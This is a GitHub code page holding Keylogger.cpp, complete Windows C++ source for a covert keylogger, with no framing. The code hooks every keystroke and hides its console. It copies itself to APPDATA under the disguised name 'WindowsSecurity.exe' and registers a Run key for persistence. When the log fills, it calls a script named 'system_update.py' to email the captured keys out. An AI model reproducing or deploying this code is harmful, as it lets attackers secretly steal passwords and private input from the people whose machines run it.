-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathKeylogger.cpp
More file actions
96 lines (77 loc) · 2.7 KB
/
Copy pathKeylogger.cpp
File metadata and controls
96 lines (77 loc) · 2.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <windows.h>
#include <iostream>
#include <fstream>
#include <unordered_set>
#include <string>
#include <sstream>
using namespace std;
const string LOG_FILE = "log.txt";
const int LOG_SIZE_LIMIT = 5000; // Send email when log reaches this size
ofstream logFile(LOG_FILE, ios::app);
unordered_set<int> pressedKeys;
bool isPrintableChar(int key) {
return (key >= 32 && key <= 126);
}
void checkAndSendLog() {
ifstream inFile(LOG_FILE, ios::ate);
if (inFile.is_open()) {
streamsize size = inFile.tellg();
inFile.close();
if (size >= LOG_SIZE_LIMIT) {
logFile.close(); // Close the file before sending
// Run Python script to send email
system("python system_update.py");
// Clear the log file after sending
logFile.open(LOG_FILE, ios::trunc);
}
}
}
void persistKeylogger() {
char path[MAX_PATH];
GetModuleFileName(NULL, path, MAX_PATH); // Get current EXE path
string destPath = string(getenv("APPDATA")) + "\\WindowsSecurity.exe";
// Copy the EXE to a hidden location
CopyFile(path, destPath.c_str(), FALSE);
// Add registry key for persistence
HKEY hKey;
RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey);
RegSetValueEx(hKey, "WindowsSecurity", 0, REG_SZ, (BYTE*)destPath.c_str(), destPath.size() + 1);
RegCloseKey(hKey);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
KBDLLHOOKSTRUCT *kbdStruct = (KBDLLHOOKSTRUCT *)lParam;
int key = kbdStruct->vkCode;
if (wParam == WM_KEYDOWN && pressedKeys.find(key) == pressedKeys.end()) {
pressedKeys.insert(key);
if (isPrintableChar(key)) {
logFile.put(static_cast<char>(key));
} else if (key == VK_RETURN) {
logFile.put('\n');
} else if (key == VK_SPACE) {
logFile.put(' ');
}
logFile.flush();
checkAndSendLog();
} else if (wParam == WM_KEYUP) {
pressedKeys.erase(key);
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int main() {
FreeConsole(); // Hide the console window
persistKeylogger(); // Make it persistent
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (!keyboardHook) {
cerr << "Failed to install hook!" << endl;
return 1;
}
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(keyboardHook);
return 0;
}